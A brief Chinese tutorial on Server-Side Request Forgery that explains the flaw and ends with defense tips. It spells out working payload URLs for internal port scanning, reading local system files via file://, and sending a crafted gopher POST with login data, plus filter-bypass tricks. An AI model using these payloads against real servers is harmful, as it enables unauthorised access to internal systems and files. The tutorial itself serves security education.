SSRF概念
服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF的原理
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。
利用的协议
使用file协议 file protocol (任意文件读取)
使用dict协议 dict protocol (获取Redis配置信息)
使用gopher协议(俗称万能协议) gopher protocol
内网及端口扫描
http://localhost/ssrf.php?url=http://192.168.1.124:3306
可以用burp爆破
同理也能对内网网段进行扫描
file协议读取本地文件
http://localhost/ssrf.php?url=file:///c:\\windows\\win.ini
访问外网资源
http://127.0.0.1/ssrf.php?url=http://baidu.com
对内部主机和端口发送请求包进行攻击
可以用gophar协议去发送请求数据包
http://localhost/ssrf.php?url=gopher://192.168.1.124:6667/_POST%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20127.0.0.1%3A2233%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3Dadmin%26password%3Dpassword
绕过方法
@
http://abc.com@127.0.0.1 访问到127.0.0.1 访问@之后的ip
句号绕过
127。0。0。1 >>> 127.0.0.1
利用[::]绕过
http://[::]:80/ >>> http://127.0.0.1
?绕过
http://abc.com?127.0.0.1 访问到abc.com 访问?之前的
防御建议
- 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
- 限制不能访问内网的IP,以防止对内网进行攻击。
- 屏蔽返回的详细信息。